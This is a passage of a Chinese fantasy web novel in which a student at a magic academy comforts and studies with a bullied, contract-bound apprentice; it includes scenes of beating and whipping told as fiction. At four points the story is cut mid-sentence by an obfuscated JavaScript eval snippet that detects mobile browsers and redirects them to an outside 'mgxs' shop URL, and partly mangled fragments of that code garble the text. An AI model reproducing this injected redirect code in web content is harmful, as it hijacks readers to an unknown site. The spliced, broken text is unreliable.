“没什么特别的,就是有点累。”伊莎贝拉先是摇了摇头表示无碍,却又轻轻皱起眉毛,“可能是因为魔力。” “魔力?” “晕倒之前魔力还是很充沛的状态,但是醒来后觉得魔力就差要被耗光了!”伊莎贝拉费解地比划描述,“就好像在我不知道的时候连续轰出了十几个强力攻击魔法一样!” 如果是魔力消耗过大的话,感觉到疲惫是很正常的。 爱丽丝歪了歪头猜测,“在秘境里用了太多魔法,魔力不足才晕倒的吗?” “你这么说也有道理,但是……”伊莎贝拉陷入了片刻的沉思。 “你还记得我的第一个秘境吧?被鸟追的那个。我和你一起进入秘境的时候其实已经是第三次进入相同的秘境了,前两次应该算是没有通过秘境的考验吧,我被那个家伙追着也不知道该怎么应对,但是每次和它耗了太久时间或者用了不少魔力的时候,秘境总是会自己消散……” “啊,我记得!所以你当时才和我说还没有解决掉这个秘境。” “对!所以我觉得,秘境好像不会令人耗尽魔力甚至晕倒……” 两人叽叽喳喳讨论了一会儿,仍然没得出什么结论,奥斯维德则在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092920|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁静静地听,手搭佩剑,好像称职的护卫一样。等到两人的谈话内容逐渐转变为日常聊天时,他才适时地开了口。 “抱歉,爱丽丝,这学期开始我可能会黏伊莎贝拉比较紧,如果打扰你们不好意思。” 天呐,多么正直而理所当然的宣言! 爱丽丝看着伊莎贝拉突然抬头对奥斯维德怒目而视的面孔,拼命压住想要扬起来的嘴角。 不打扰,怎么会打扰呢!她准备把约伊莎贝拉去图书馆学习的机会都让给奥斯维德! 于是她在伊莎贝拉罕见的嗔怒神色里离开了医疗室,还贴心地帮他们把门关上了。 但是,这可难办了…… 她刚在新课程中遇到了让她如临大敌的魔法语言学,还准备向伊莎贝拉请教呢。 确认了好友无事且感情进展顺利后,爱丽丝悠闲地踱步离开,不时停下脚步望着走廊玻璃窗外的景色发呆。 其实她心里还有一个想邀请一同学习的人不是吗? 伊莎贝拉告诉她了。 利亚诺与格罗姆康特领主一族签订了契约。 理由不详,但是任何魔法契约在恶人手中都足以将人的尊严磨碎。 如果通过学习获得学院承认的魔法师身份,他有机会脱离这份契约,但是在学院的学习又需要监护者或推荐人的担保……他被架在这样不上不下的位置任意磋磨。 所以他才要承受所有莫名其妙的欺辱,才要熬着爱丽丝仍不知道缘由的疼痛完成漫长的课程,才要在奥斯维德严厉制止了礼堂中特里迪克的暴行之后,用虚脱无力的身体喘息着、颤抖着、顺从地站在施暴者身后。 爱丽丝看得出,他分明还在被无形的疼痛折磨,而她没有任何帮助他的办法,只有在漫长的结课仪式里将那个单薄的身形映在眼中。 特里迪克故技重施,他有好几次都熬到站不住了。 爱丽丝的胸口闷闷地发痛。 春季假期之后,利亚诺的身份似乎更加被别有用心的人熟知了。 仅仅在夏季学期的这几天之内爱丽丝就看到过数次,他狂奔着躲避着什么追赶他的身影,从她的视线边缘黑影般地掠过。 他似乎也在躲避她,当她在理论课就要再次坐在他身旁时,他那样明显地拉远了距离,紧绷得几乎随时要逃走。 所以爱丽丝没敢开口说什么,也没敢随意靠近,只是静静地坐在那里。 她知道他疼得厉害,身上的伤口,还有心里的伤口。她不愿随意触碰那些伤口,所以只能看他小兽般孤单地舔舐自己,为了让他安心装作什么都不知道。 但是,她真的应该这样……暂时远离他吗? ——! 一个小小的黑色的身影突然隔着主楼上方的玻璃窗映在爱丽丝眼前,骤然拽回她的思绪。 他正狂奔着躲避着什么,却因为体力耗尽而被另外几个高大的身影牵制住。 他被扭着手臂控制住,不停地挣扎,却怎么也挣脱不开。 爱丽丝的双手无意识地握紧了冰凉的窗框,心跳的声音变得无比明显。 她没办法远离他,没办法丢下他不管! 她没办法……违背自己的心意。 思绪反应过来之前,爱丽丝已经再次开始飞奔。 10. 帮助他并寻求他的帮助 他逃不掉了。 利亚诺已经被逼至墙角,先是被猛地一拽,然后是手臂被制住,紧接着肩膀处传来撕扯的痛,让他无法再逃脱半步。 他拼命挣扎,试图踢踹着双腿摆脱这几个不知为何盯上他的陌生学徒,但是—— “呃!!” 狠厉的一拳猛然砸在他柔软的腹部,他一瞬间痛到无法呼吸,只有浑身紧绷地熬过从腹部扩散着碾过全身的疼痛,又全身脱力地软下来喘息。 “你说你跑什么,请你帮个小忙而已。” 为首的学徒轻轻活动着手腕,就好像刚刚的暴行只是普通的招呼。 他似乎疑惑于利亚诺的抵抗,打量着周围被制造出的一小片狼藉,那是原本被利亚诺捧在怀中的纸笔在追逐和挣扎中凌乱地洒落在地。 他无所谓地查看着那些散落的纸页,伸出腿去用鞋尖随意翻动两下,再凭着心意顺便踩上几脚。 “理论课全优的优等生,替我们写几份课业应该轻轻松松吧,也替你长脸是不是?” 被踩皱的羊皮纸沾上了脏污,而咔哒咔哒的轻微声响是羽毛笔断裂的声音。 “这是……这是作弊……呃!!” 利亚诺说不出话了。 他有心理准备,但还是一时间受不了这样的疼。 脆弱的胃部在钝痛中又升起一种绞痛,冷汗骤然爬满前额和后背,他眼前一黑几乎就要栽倒下去,但是身体被另外几个学徒死死控制住,他甚至无法跪倒在地,也无法蜷缩起来发抖。 “装什么清高,你猜猜好心的特里迪克跟我们说了什么?只要随意对格罗姆康特吹捧几句他就什么都肯说。” 利亚诺的兜帽被扯开,黑色稍长的碎发被冷汗黏在苍白的面庞上。 那个学徒又细细解开他的整个斗篷,再扯掉踩在脚下,只为他余下单薄的衬衣。 “他说,你看上去是个硬骨头,其实折腾到位了最会服软。我想想,比如说,这里……” 他的手指在利亚诺衬衣上划过一道不长不短的横线,满意地看着他因为这个小小的举动而克制不住地细细颤抖,“被他折腾得疼得狠吧,让我们看看你是怎么求饶的,嗯?” 利亚诺听见自己的后槽牙咬紧的声音。 另一个高而壮的学徒从身后勒住他的双肩将他架起,他只有被迫展开的胸腹承受拳脚的凌虐。 挨过罚的胸膛早就是难以言说的痛痒,堪堪愈合的伤口重新绽裂,让他熬不住喉间的闷哼。 最初的问题像是做游戏被一遍遍问出,他不愿答,或者根本痛到无法答,就只有一遍遍地承受,直到单薄的衬衣慢慢渗出血痕。 * 后背贴着阴冷的石砖,爱丽丝在另一侧墙壁的遮挡下紧抿着嘴唇,她知道自己的心脏不仅是因为飞奔而疯狂跳动。 她在愤怒,她似乎从来没有体会过这样的愤怒和焦急。 但她克制着急促的呼吸,警告自己不能轻举妄动。 “爱丽丝,如果你听了这些之后仍然决定继续和他相处的话,保护好自己,你能答应我吗?” 伊莎贝拉严肃的神情仿佛还在她眼前,而她回答了“我答应你。” 一个操纵语言魔法的魔法师必须对自己的话语负责,这是言灵魔法对他们的约束。 所以她不能让自己身处险境,更何况她的冒失未必能让利亚诺从中获益,但她更不可能看着他继续忍受痛苦。 她的眼里闪过某种专注的神色,在言语形成之前,周身的风元素似乎就已经与她的意念共振起来。 向代表理性的风元素寻求帮助,传递迷惑他人的信息……她能做到! “奥斯维德大人,就在前面!” “嗯,抓紧时间!” 脚步声和交谈声顺着微风传送,听上去像是大领地的奥斯维德为学院秩序而自发开展的巡查,被他抓到可不好收场。 “不好,是那群家伙!” 墙角的几个学徒好歹顾及自身的颜面,神色顿时紧张起来。 “快走!别管他了!” “嘁,便宜你了!别以为你能逃过!” “呃……!!” 利亚诺被一把扔在墙角,逃走的学徒不忘最后在他的胸口踹上重重一脚。 这实在……太疼了…… 他抱紧双臂虚虚护住胸口,在墙角蜷缩成一团,在绵延难消的疼痛里发抖,连喘息的余裕都没有。 但是不行,他还不能放松警惕。 他不知道来者有谁,不知道他们会怎么对待他,不知道他还要承受什么,躯体上的,或者心灵上的,或者两者共同的煎熬。 好疼……好难熬…… 但是他必须……必须忍耐…… 然后他听到了熟悉的脚步声。 那人慢慢向他走来,谨慎的脚步好像怕惊吓到什么似的,又好像正在为某个濒临崩溃的人留出逃跑的空间。 但是利亚诺什么都做不到了,连压抑住身体的颤抖都做不到,他只有将自己蜷缩得更紧,试图自欺欺人地消失在这个阴暗的角落。 可是熟悉的脚步还是走近了,缓慢地却又坚定地走到离他相当近的地方。 她没有扶起他,也没有询问他的状况,而是捡起被丢在一旁揉成一团的兜帽斗篷,小心地拂去上面的灰尘,轻轻盖在他蜷缩在墙角发抖的狼狈躯体上。 ——! 利亚诺狠狠颤抖了一下,才猛然反应过来般地攥紧斗篷的布料。 他用斗篷将自己的半身和面庞彻底遮盖,把自己紧紧裹成一团,好像这层单薄的布料是他所能得到的唯一的庇护。 她都知道了。 利亚诺绝望地想。 他在礼堂中央的丑态,他任人贬低的身份,他难以启齿的伤,还有他对她的回避。 她什么都知道了。 爱丽丝没有说话。 她其实应该有很多话想和利亚诺说的,多到她都怕自己会絮絮叨叨地停不下来。 她想告诉他自己不在意,想告诉他自己很担心。 想再看他的水元素魔法,即使不能成功也没关系。 她想和他讨论让她头疼的语言符号,想和他分享春季假期从克莱因老师那里学到的新魔法,或者只是寒暄几句,问问他的假期过得怎么样。 但现在看来……应该糟透了吧。 愤怒和焦急的心跳已然平缓,只剩若有若无的担忧和心疼在轻轻坠着,让爱丽丝的胸口泛着一丝酸胀。 她很久没有距离利亚诺这么近了,近到仿佛是上次握住他手腕时的距离。 但是现在,她亲眼看见利亚诺因为此前的交集而萌生的一点点局促和羞赧全都消失得无影无踪,他又变得冷硬而破碎,和第一天见到他时一模一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092921|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不过至少……他没再躲开她。 爱丽丝为他搭上斗篷的手还停留在半空中,她犹豫片刻,将一只手缓缓落下,轻轻放在他的肩头。 “……!” 利亚诺突然喘息起来,毫无理由地剧烈地喘息,就在感受到肩上触感的那一瞬间。 他好像一个一直被死死拉扯在冰冷海水里快要溺毙的人,直到这一刻才被拽出水面,真正呼吸到赖以生存的空气。 因疼痛而麻痹的感官在喘息里开始恢复,他这才在斗篷罩出的这一点点空间中感受到自己呼出的热气,还有脸颊上清清浅浅的泪痕。 还有肩上的一点点温度,和仿佛可以隔绝外界窥视的风元素魔力流动。 这是和那时相仿的,她的魔法。 “没事了,没事了……别怕,不会有其他人过来……” 耳边传来轻声如同幻觉一般的安慰,让利亚诺听不真切。 但即使没有像上次一样捉住他的手腕,肩上未曾远离的触碰已经足够无声地诉说她的存在。 他还是疼得厉害,那些难熬的痛痒和难言的苦涩,他本已准备好用很久的时间去捱过。 但是现在,他的喘息开始渐渐平缓下来。 爱丽丝一直等到眼前人的呼吸不再急促,才慢慢收回放在他肩头的那只手。 离开的时候,她的指尖好像感到一阵轻轻的颤抖,仿佛是手下的人忽然觉得冷。 她有点担心利亚诺会选择逃走,选择继续躲避她,但是他没有。 他没有动。 于是她觉得自己需要再给他一些时间。 她开始转过身来整理地面上散落的笔记,余光瞥见原本蜷缩在墙角的人正忍耐着疼痛坐起身来,动作缓慢地穿戴和整理好已经一团糟的兜帽斗篷,遮盖住面庞和衬衣上的点点血痕。 忍着痛舔舐伤口的猫猫…… 爱丽丝非礼勿视地不去细看,专注地捡起地上的纸页,仿佛那是什么需要慎重对待的珍宝。 她当然会把这些视作珍宝! 用清丽的笔迹写下的有关魔法的知识,没有什么比这些更值得令人珍惜的了。 她心痛地看着那些羊皮纸上的脏污、裂口,或者随意揉搓的折痕,将它们一点点抹开抚平了,再细致地整理好。 直到某一张纸页上的字迹让她的手指微微一顿。 不,不行,爱丽丝。 好不容易被允许靠近,应该收敛些才对。 她有些迟钝地开始感到不妥,但是有什么实在压抑不住的想法开始蠢蠢欲动。 “利亚诺……” 她试探着开了口。 倚靠在墙角的身影立刻僵硬了一瞬。 别问,拜托,别问。 他不敢抬头,也不敢看她,如果她开口问,他不知道要怎么回答。 他不敢再往下听—— “拜托!帮帮我好不好!” 爱丽丝的声音清亮,好像清澈湖面上泛起的涟漪。 即便知道这一定是某种错觉,但利亚诺透过声音仿佛能看见她闪着细碎光亮的眼神。 她一定正用那双琥珀色的眼睛望着他,像是在请求,又像是撒娇。 但是……她在说什么? 利亚诺后知后觉地愣住了,睫毛轻颤了一下,他慢慢抬起尚未恢复血色的脸庞。 “……?” 11. 与他共同探讨 “……怎么会这样?” 利亚诺微动着嘴唇轻声问。 “我也不知道。” 爱丽丝欲哭无泪地垂下脑袋。 “我以为……你是言灵法师。” 所以他没想到她所需要的帮助是关于魔法语言学。 “我确实是。” 爱丽丝轻轻歪着头,眼睛自下而上地望着他,可怜巴巴地眨了眨,似是在询问自己还有没有救。 利亚诺被那样的视线烫了一下,低下头重新看向面前的羊皮纸。 纸面上是稍显杂乱的笔迹,他看得出爱丽丝其实在每一处都认真思考了,但却总是在一些奇怪的地方与惯常的思路擦肩而过,环环相扣的咒文最终因此与理想中的效果相去甚远。 所以才会头疼到需要帮助吗? 但是…… 他不是没有在课上观察过她。 她和自己不是一个世界的人。魔力充沛、乐于学习、与元素的互动良好,她拥有那样耀眼的天赋,只需要几句话的提示,一定就能解决这些暂时遇到的小问题。 她不该和自己这样的人接触。 不该用这样的理由留住他,不该夹杂着好意地带他来到图书馆的研讨区,为他启动魔法装置划分出安全的空间,不该这样明显的关注着他的脸色,担心他的身体状况。 ……甚至最初就不该救他,这对她没有好处。 但这是他唯一能够回馈她一些什么的机会。 而且,他答应过她的,当她需要帮助的时候他不会拒绝。 所以,他竟然真的在这种荒唐的情境下开始思考,怎样去解释才能够让她理解魔法语言学的内在含义。 “魔法语言学主要是……为了在语言魔法和法阵魔法中向元素具体地表明自己的要求……” 这种感觉有些陌生,他很少和别人分享自己对魔法的理解。 而她倾听的姿态又太过于认真,让他未曾体验过一般难以适应。 “自然语言同样可以便利地施展魔法,但是在与元素沟通时很容易出现微妙的偏差……” “嗯?难道说……” 爱丽丝想到自己曾在火元素魔法课上进行的施法。 她当时请求火元素让蜡烛的火焰产生“变化”。 虽然她的本意只是需要烛焰燃烧得更加旺盛一些,但是其他一点点走神的想法似乎也被火元素捕捉到,于是,烛焰转化为丝线也被认为是她所希望的“变化”的一部分。 “也就是说,魔法语言学比起扩展自己的想法,其实好像更是在限制自己的想法?把一些只需要留在心里的东西排除在施法之外?感觉比起元素的知识更像是人类的知识呢……” 利亚诺很安静地听完她发散开来的思考,然后轻轻点头认同,又将话题带回她遇到的问题上。 “魔法语言学在这个基础上将想法集成为语言符号,所以才会有多种规则和限制。但是反过来,在使用的时候,它也同样成为可以随时取用的框架……” 他将自己的笔记拿出,被爱丽丝从地上捡起又整理好的那份,示意她对照着再次尝试。 羽毛笔在羊皮纸上轻轻写画的声音响起的时候,利亚诺甚至感受到一种短暂的安宁。 他知道这里是安全的,风元素魔法装置屏蔽了讨论者的声音和身影,没有人会来随意打扰,而她开启装置时仍然嘟着嘴略带不满的神色,仿佛是想再为这个研讨区加上什么强力防护咒。 他想说不用的,已经足够了。这里没有追赶、没有威胁、没有突如其来的疼痛,只有书籍、羽毛笔、羊皮纸,还有关于魔法的讨论,他不记得自己有多久没有感受过这种安宁了。 而这一切都来源于她。 为什么会有这样的人呢…… “抱歉哦,这样等着很无聊吧?” 爱丽丝似是随意地嘟囔,眼睛没有离开笔下的羊皮纸,仿佛能否得到回应都不要紧。 “……没事。”真的没事,他想让她知道。 “利亚诺你……一直在使用手势魔法吗?” 得到了回应,爱丽丝就有些停不下来。但她不知道利亚诺其实也惊讶于自己的顺从和坦诚,也许是因为她的语气温和无害,也许是因为……他从未体会过这样普通的谈天。 “……偶尔会练习法阵魔法。”他轻声回复。 “嗯嗯,毕竟你的魔法语言学学得这么好!”或者说,利亚诺在任何理论课上都表现优异,爱丽丝无自觉地露出一种理应如此的自豪神情,“那你有试过语言魔法吗?” 那是魔法语言学的另一个使用场景,爱丽丝觉得利亚诺的施法一定会比向来随性的自己要更加精彩。 利亚诺微微一怔,还是回答了,“……不太能成功。” 某种掠过全身的疼痛突然幻觉般地浮现出来,他不得不深吸一口气努力将其驱散。 但他的呼吸极尽克制,没有让身边的人发现异常。 爱丽丝的心底其实闪过了一丝疑惑。 很少有魔法师的语言魔法是不能成功的,最多是停留在不喜欢或不擅长的程度。 利亚诺的手势魔法也时常不太顺畅,是和这个相同的理由吗?还是说……发生了什么事削弱了他语言的力量?太多的谎言容易造成这种情况,或者是对自己语言的不信任,或者曾经为了某句话语耗费太多心力也有可能…… 啊,好像成功了! 但是一瞬的疑惑很快被兴奋和雀跃掩盖了过去,爱丽丝第一次看见自己写出的语言符号亮起代表可行的点点光亮,再也不是语义不通的文字堆砌。 她按捺着愉快的心情抬起眼偷偷观察身边的人,只见他正安静地半阖着眼,像是在某些持续紧逼的消耗中终于获得了片刻的休憩。 可是他好像还在疼。 一只手一直紧紧攥着胸前兜帽的布料没有松开过,而呼吸过了这么久仍是浅而虚浮的。 “利亚诺,你……” 爱丽丝犹豫地开口。 她知道他被欺负了,她很担心。 “你需不需要……” 吱呀—— 利亚诺立刻脸色发白地僵硬地站起身来,伴随着他的动作,椅子在地板上拖动发出刺耳的声音。 爱丽丝敢肯定他平时绝不会这样,他正因为她可能要问出的话语而慌乱地要命。 “不用!我什么都……” 似乎是因为嗓子的紧绷和干哑,他的声音哽了一下。 “……什么都不需要,如果没有别的事,我要走了。” ……炸毛的小猫。 浑身都是伤口的、强撑着发抖的、炸毛的小猫。 爱丽丝意识到,他其实是不想让她看见的。 他紧咬着尊严挺直脊背,不想让那些狼狈的姿态暴露在她面前,不想让自己成为被怜悯的对象。 可是,那他又到底是有多痛,才会在那节课上顺从地让她捉住手腕呜咽着发抖,才会在承受了墙角的凌虐之后蜷缩起身体喘息而不是从她眼前逃离。 她不可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092922|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打破这些。 “我是想说……你需不需要先休息一会儿?” 她问得很轻声,柔和的眼神像是在安抚,好像怕把他吓跑了。 “其实……”她细细簌簌地在自己的羊皮纸堆里翻来翻去,翻出这张又翻出那张,“其实我还有好多问题想要问你,语言符号被写入法阵之后又变得好难,简直让人云里雾里,尤其是这些符号简写,你刚才说你有练习法阵魔法的对吧?” 细碎的话语像柔软的丝线缠住了利亚诺本应离开的脚步,爱丽丝感觉到他没有刚刚那么紧绷了,呼吸也正慢慢平缓下来,她试着再迈出一小步。 “不如说……其实这个学期我的好朋友可能都没空和我一起学习了,我可以经常找你讨论吗?我真的好喜欢你对魔法的理解方式!” 她干脆和盘托出,又用可怜兮兮的表情望着他。 “拜托,帮帮我好不好?” 突如其来的坦白砸得人六神无主,利亚诺屏住呼吸咬着牙不去回应。 他该拒绝的,他清楚自己的处境,和他接触有可能会影响到她。 而且这些也许真的令她感到困扰的问题,分明包裹着她的好意,让他光是站在这里都能感觉得到那种柔和的温暖。 这太狡猾了不是吗?“帮助她”是一个对他来说太难以拒绝的请求,因为他曾答应过的。 对,他曾答应过的。 利亚诺无措地发现自己说不出拒绝的话语。 他点头了。 * 咔嗒一声,继伊莎贝拉之后,奥斯维德也在爱丽丝对面的座位上放下了餐盘。 金发的大领主之子引来的瞩目有如实质,爱丽丝的叉子都不小心歪了一下,圆圆的小蛋糕在餐盘上咕噜咕噜滚了两圈。 “是吧,这家伙果然超级显眼的对吧……” 对面的伊莎贝拉扶额叹息,她已经彻底放弃了佩戴兜帽,任凭鲜红的长发垂在肩背。 “我好像明白你最开始为什么想要隐藏身份了,伊莎贝拉。”爱丽丝捂紧了自己的帽檐,试图成为意外与大领地拼桌的无名路人,“抱歉,但是我可能只愿意和你们一起坐上一小会儿。” “没事,我懂。” 伊莎贝拉神色复杂,一旁的奥斯维德则一脸坦然,优雅地拿起刀叉开始用餐,不去干扰女士们的聊天。 “所以怎么样了?你的身体好些了吗?”爱丽丝问。 “没有任何异常,也没有再晕倒。”伊莎贝拉摊了摊手,“所以显得更奇怪了。” “确实,据我所知罗斯戴尔血统是不会允许一个人随意晕倒的。”爱丽丝故意打趣,被伊莎贝拉瞪了一眼。 “我是觉得没什么,只要暂时观察情况就好,但是奥斯维德始终认为……”伊莎贝拉瞥了瞥旁边的人。 “我认为这件事没这么简单。”奥斯维德放下刀叉拿起餐巾,适时地接上话头,神色有些严肃,“但暂时没有更好的防范措施,只有动员附属领地的学徒们加强学院内的巡查,这也有助于减少你上次反映的情况。” 爱丽丝接收到他的视线,乖巧地用力点了点头。 那天她是借奥斯维德的名号赶走了那些围堵利亚诺的学徒,她在事后不可能不向奥斯维德说明事由和表示感谢。 虽然不明白奥斯维德为何如此警觉,但她当然也希望事态的发展可以让利亚诺轻松一些,因为他忍痛的样子实在是让她心疼。 可是…… 那些令她心疼的情况却依然持续地在发生。 12. 保护他的伤口 “没有学习的想法就离开我的课堂!” 爱丽丝的胸口骤然紧了一下。 不止是她,猛然响起的严厉话语几乎让所有的学徒都倒吸一口凉气。 没有人想到霍勒斯教授真的会抽出腰间的短鞭,所以那一刻谁也没有反应过来。 但光是短鞭抽打至皮肉的声音就足够令人生寒,仍在空气中隐约回荡的那声怒叱更是让牢狱般的教室又阴冷了几分。 霍勒斯教授以警告的眼神盯着前方,恐怖的神色让人不敢直视,而承受他怒火的对象—— 利亚诺正无言地蜷缩在地上。 疼…… 他的左手死死握着右手的小臂,而伸出的右手保持着一个不自然的僵硬的姿势,手腕连同手掌和手指都好像在不受控制地颤抖。 那是他刚刚承受责罚的地方。 短鞭猛然抽打所带来的疼痛显然还在啃噬着他,足以将人击倒的力量全部集中在右手手心这片小小的敏感的区域,一瞬间疼到他头脑空白。 利亚诺不得不屏住呼吸捱着那种痛,死死咬着嘴唇蜷缩着发抖。 但他忍耐着,没有发出任何声音,连最初那声微弱的痛极了的闷哼也似乎只是爱丽丝的错觉。 更让他难熬的是仿佛凝滞了的时间。 黑暗的偌大的教室里,恐怖的死寂,直白的注视,或者某个阴暗角落里发出的嗤笑,不论哪个都像密密麻麻的细针一样持久地扎在利亚诺的心上。 但他只有无言地承受着这些,直到从疼痛中艰难地重新找回呼吸,才能强撑着站起身来,狼狈地维护早已在发痛的自尊心。 没有吵闹,没有辩解,他克制着余痛里发颤的呼吸,默默地走出了教室。 爱丽丝看见他咬着牙将受了罚的右手垂落进斗篷宽大的阴影下,即使这个姿势会使得每一次心跳都给伤处再覆上一层难忍的胀痛。 “下一个。” 并不理会离开的学徒,霍勒斯教授收敛了神色,开口继续课堂的流程。 后一个即将施法的学徒战战兢兢地上前,面色发白地吞咽了一下,学徒之间唏嘘的声音此时才终于偷偷摸摸地响起。 担心和焦躁也从爱丽丝的胸口升起,令她简直无法继续待在这里。 她下意识地抿着嘴唇,一旁的伊莎贝拉瞥着她的神色,心下已经了然。 “去吧。”她对爱丽丝使了个眼色,挪动身体挡住她悄悄离开的身影。 霍勒斯教授的目光在这时似乎就要扫过来,却又不知为何睁一只眼闭一只眼地挪开了。 离开昏暗的教室,夏日午后的阳光在学院的白色石墙上布下柔和的光亮,让人想要眯起眼睛。 爱丽丝张望着匆忙小跑几步,终于在石墙拐角的阴影处发现了利亚诺黑色斗篷的衣角。 她松了一口气,慢慢走过去,于是那个蜷缩着坐在石墙边的身影逐渐完全出现在她的视野里。感觉到爱丽丝的靠近,他似乎轻轻瑟缩了一下,却没有逃离。 爱丽丝觉得,他们应该是稍微熟悉了一些的。 那天之后,他们在图书馆的研讨区一起度过了不少时间。大多数时候是安静地学习,有时爱丽丝会向他请教问题,他会轻声地解答,偶尔也和她讨论几句。 有几次他身上带着伤,在嘴角或手背这样明显的地方出现小块的青紫,衣角也沾上脏污,如果爱丽丝小心地保持距离不去询问,就能感觉到他从僵硬慢慢放松下来。 但是那不代表她不会心疼,每次看见他在忍痛的时候她都好担心,更别说这次,利亚诺就在她眼前咬着牙承受了那些…… 所以,差不多可以稍稍靠近一些了吗? 爱丽丝放缓脚步,在他面前慢慢低下身体。 利亚诺从兜帽的阴影下看到她伸向自己的手,他沉默着没有动作,只有睫毛不安地轻颤了一下。 思维仍旧被火辣辣的胀痛占据,他有些不理解她的意思,或者不敢去试图理解。即使每次安静的相处都让他在不知不觉间更加信任她,他所恐惧的东西还是太多了。 但是身前的人依然坚持地伸着手,手心朝上地等待着什么。她的动作里表达着一种莫名的催促,又像是某种坚定的安慰。 所以利亚诺动摇了,他犹豫地、动作缓慢地将右手递给她,将捱了罚的手心张开在她面前。 好乖。 爱丽丝悄悄压下心里痒痒的感觉,轻轻捧起他的右手,感觉到他颤抖了一下。 他的手在夏日里仍是微凉的,好像从没有机会去感受阳光的温度。粗而宽的红痕烙在他的手心,细嫩的皮肉已经因为毫不留情的鞭打而微微肿起,苍白的手指也因此轻轻发颤。 爱丽丝没想到他会在课堂上受到这样的惩罚,她很想要立刻去治愈他,想要现在就让他不再因为疼痛而颤抖,但是…… 即使掌握了简单的治愈魔法,直接对着他人施法还是太冒犯了,她忘不掉上次拉住他手腕时看到的惊惶的神色,她不愿意吓跑他。 爱丽丝微微垂眸思考几秒,从斗篷的口袋中拿出丝质的手帕,轻语着驱动水元素将其浸湿,然后动作轻柔地去清洁他的伤口。 “……” 冰凉的触感敷上胀痛的伤口,利亚诺轻轻抽气,隐忍得让人几乎感觉不到。 他也不知道自己为什么没有逃离。 疼痛本应让他紧绷着神经对所有的一切都保持警惕,拒绝帮助,拒绝靠近,因为那些他承受不了的方式会让他更加痛苦,哪怕是出于好意。但是…… 她好像从来没有逼迫过他。 没有粗暴的施法,没有强硬的决议,始终保持着让他觉得安全的距离,让他觉得,如果是她的话…… 好像再靠近一点点也可以。 手心刚捱了罚的伤处太过敏感,再柔和的触碰也不可能好受。 利亚诺好几次忍不住瑟缩,却又克制住动作,重新将右手张开,将脆弱的伤口暴露在她面前。 爱丽丝心里一片柔软,更加温柔地将湿润的手帕轻按在那些红肿上,然后再拿开手帕轻轻吹气,希望能带走梭巡在伤处折磨他的滚烫。 即使带着肿胀的红痕,他的手还是很好看,只是手指的每个指节上都带着薄薄的茧,好像熬过了什么漫长又艰苦的训练。 这种联想让爱丽丝想要皱眉,猫猫的爪子明明应该是软软的肉垫的……如果轻轻碰一碰的话,他会缩回去吗? 她偷瞄着利亚诺苍白的指尖开始走神,却没忘记最重要的目的,没有停下手上的动作。 伤口要好好保护才行,简单的愿望在爱丽丝心中盘亘。 她用手帕轻柔地包扎好利亚诺的伤痕,又继续驱动冰凉的水元素去浸润他的伤处。 水元素的本体存在不难操纵,但这些精细的处理却需要细致的关注。爱丽丝耐心地让那一点点水流缓缓流淌,慢慢带走那些肿胀的热度。 也许是伤处好受多了,又仿佛是终于不再紧绷着防备什么,她感觉到利亚诺缓缓吐出一口气,慢慢放松下来。 其实爱丽丝也被吓到了。 她一直在课上关注着利亚诺的魔法,所以亲眼看见他想要再一次尝试施法,试图让先前对他的手势毫无反应的火焰跃动起来。 可是,也许是因为某种不甘和焦躁,或是另一些无人知道的磋磨,屡次失败的施法让利亚诺下意识地扩大了手势的动作。 但这太危险了。 万一他的施法在这一次成功,那是足以产生爆炸的幅度。 爱丽丝几乎要冲上去制止他的动作,霍勒斯教授反应更快,却毫不留情地选择了让他用疼痛记住教训的方式,他痛到蜷缩在教室的中央,被所有的学徒注目。 所以他才一言不发地离开的吧,因为觉得这是他应当承受的惩罚……爱丽丝感觉到一点点苦涩。 他会难过吗? 失误,惩罚,还有众目睽睽…… ……他怎么可能不难过。 爱丽丝不确定他是否想聊聊这个话题,试探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092923|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着轻声开口。 “利亚诺……你不擅长火元素魔法吗?” * “不擅长火元素魔法?” 春季假期里,当爱丽丝问起这个问题时,克莱因老师露出饶有兴致的表情,“并且这个学徒的属性是水元素和火元素?” 爱丽丝点点头确认,神色认真。 